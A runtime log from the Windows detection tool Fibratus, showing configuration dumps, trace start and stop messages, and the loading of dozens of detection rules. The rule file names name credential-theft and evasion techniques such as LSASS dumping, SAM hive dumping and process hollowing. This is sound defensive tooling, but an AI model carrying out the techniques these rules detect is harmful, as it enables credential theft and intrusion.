..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[] fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:57:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:57:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:58:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:58:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:58:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:02:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T18:02:22+01:00 level=info msg=bootstrapping with pid 16300. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T18:02:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-registry=>true buffer-size=>512 enable-mem=>false flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-handle=>false stack-enrichment=>true max-buffers=>36 enable-audit-api=>true enable-dns=>false enable-net=>true min-buffers=>16 enable-vamap=>true enable-fileio=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 formatter=>text level=>info max-age=>0] + output ......................... [ amqp=>[ exchange-type=>topic delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 timeout=>5s durable=>false passive=>false routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ method=>POST enable-gzip=>false enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ index-name=>fibratus flush-period=>1s trace-log=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s enabled=>false healthcheck=>true healthcheck-timeout=>5s template-name=>fibratus timeout=>5s sniff=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] fastscan=>true skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-11T18:02:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:02:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:02:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T18:02:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:02:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:03:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T18:03:00+01:00 level=info msg=bootstrapping with pid 152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T18:03:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true max-buffers=>36 enable-image=>true enable-fileio=>true enable-thread=>true flush-interval=>1s min-buffers=>16 stack-enrichment=>true enable-mem=>false enable-handle=>false enable-threadpool=>false enable-net=>true buffer-size=>512 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15 level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ timeout=>5s durable=>false vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false exchange=>fibratus routing-key=>fibratus exchange-type=>topic enabled=>false] elasticsearch=>[ bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false timeout=>5s healthcheck-interval=>10s healthcheck=>true index-name=>fibratus enabled=>false gzip-compression=>false sniff=>false template-name=>fibratus] http=>[ enabled=>false serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] excluded-files=>[] enabled=>false fastscan=>true scan-timeout=>10s skip-registry=>false skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T18:03:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:03:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:03:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T18:03:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:03:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:03:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T18:03:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T18:03:56+01:00 level=info msg=bootstrapping with pid 5800. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T18:03:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true enable-handle=>false stack-enrichment=>true flush-interval=>1s enable-threadpool=>false enable-net=>true enable-dns=>false enable-fileio=>true enable-registry=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-vamap=>true enable-mem=>false enable-image=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true level=>info formatter=>text] + output ......................... [ http=>[ timeout=>5s method=>POST enable-gzip=>false enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ timeout=>5s enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 template-name=>fibratus gzip-compression=>false healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus trace-log=>false] amqp=>[ passive=>false timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false vhost=>/ exchange=>fibratus routing-key=>fibratus exchange-type=>topic durable=>false tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-files=>false excluded-procs=>[] fastscan=>true skip-registry=>false skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-11T18:03:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:03:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T18:04:06+01:00 level=warning msg=unable to download loldrivers.io dataset: Get "https://www.loldrivers.io/api/drivers.json": context deadline exceeded source=loldrivers/client.go:127 +time=2025-12-11T18:04:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T18:04:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T18:04:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:23:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-12T17:23:28+01:00 level=info msg=bootstrapping with pid 1840. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:23:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false enable-handle=>false flush-interval=>1s enable-mem=>false enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-audit-api=>true enable-fileio=>true enable-image=>true stack-enrichment=>true enable-registry=>true max-buffers=>36 min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ routing-key=>fibratus delivery-mode=>transient exchange-type=>topic timeout=>5s durable=>false tls-insecure-skip-verify=>false passive=>false enabled=>false] http=>[ enabled=>false timeout=>5s method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s template-name=>fibratus bulk-workers=>1 gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s timeout=>5s trace-log=>false enabled=>false flush-period=>1s index-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false 